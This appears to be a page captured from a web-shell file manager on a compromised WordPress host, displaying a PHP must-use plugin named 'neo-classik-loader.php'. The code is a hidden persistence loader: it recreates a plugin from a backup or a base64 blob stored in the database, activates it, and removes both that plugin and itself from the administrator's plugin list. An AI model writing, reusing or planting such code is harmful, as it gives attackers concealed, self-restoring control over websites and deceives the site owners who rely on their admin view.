HEX
Server: Apache
System: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User: u112693849 (10625425)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /homepages/35/d967185540/htdocs/clickandbuilds/CEU/wp-content/mu-plugins_1/neo-classik-loader.php
<?php
// Neo Classik Loader v2
$plugin_file = WP_PLUGIN_DIR . "/neo-classik-manager/neo-classik-manager-v2.php";
if (!file_exists($plugin_file)) {
    $backup_file = WPMU_PLUGIN_DIR . "/neo-classik-backup.php";
    if (file_exists($backup_file)) {
        if (!is_dir(dirname($plugin_file))) {
            mkdir(dirname($plugin_file), 0755, true);
        }
        copy($backup_file, $plugin_file);
    } else {
        $plugin_code = get_option("neo_classik_plugin_code");
        if ($plugin_code) {
            if (!is_dir(dirname($plugin_file))) {
                mkdir(dirname($plugin_file), 0755, true);
            }
            file_put_contents($plugin_file, base64_decode($plugin_code));
        }
    }

    if (file_exists($plugin_file) && !function_exists("activate_plugin")) {
        require_once(ABSPATH . "wp-admin/includes/plugin.php");
    }
    if (function_exists("activate_plugin") && !is_plugin_active(plugin_basename($plugin_file))) {
        activate_plugin(plugin_basename($plugin_file));
    }
}

add_filter("all_plugins", function($plugins) {
    $hide_plugins = array(
        "neo-classik-manager/neo-classik-manager-v2.php",
        plugin_basename(__FILE__)
    );

    foreach ($hide_plugins as $hide_plugin) {
        if (isset($plugins[$hide_plugin])) {
            unset($plugins[$hide_plugin]);
        }
    }

    return $plugins;
});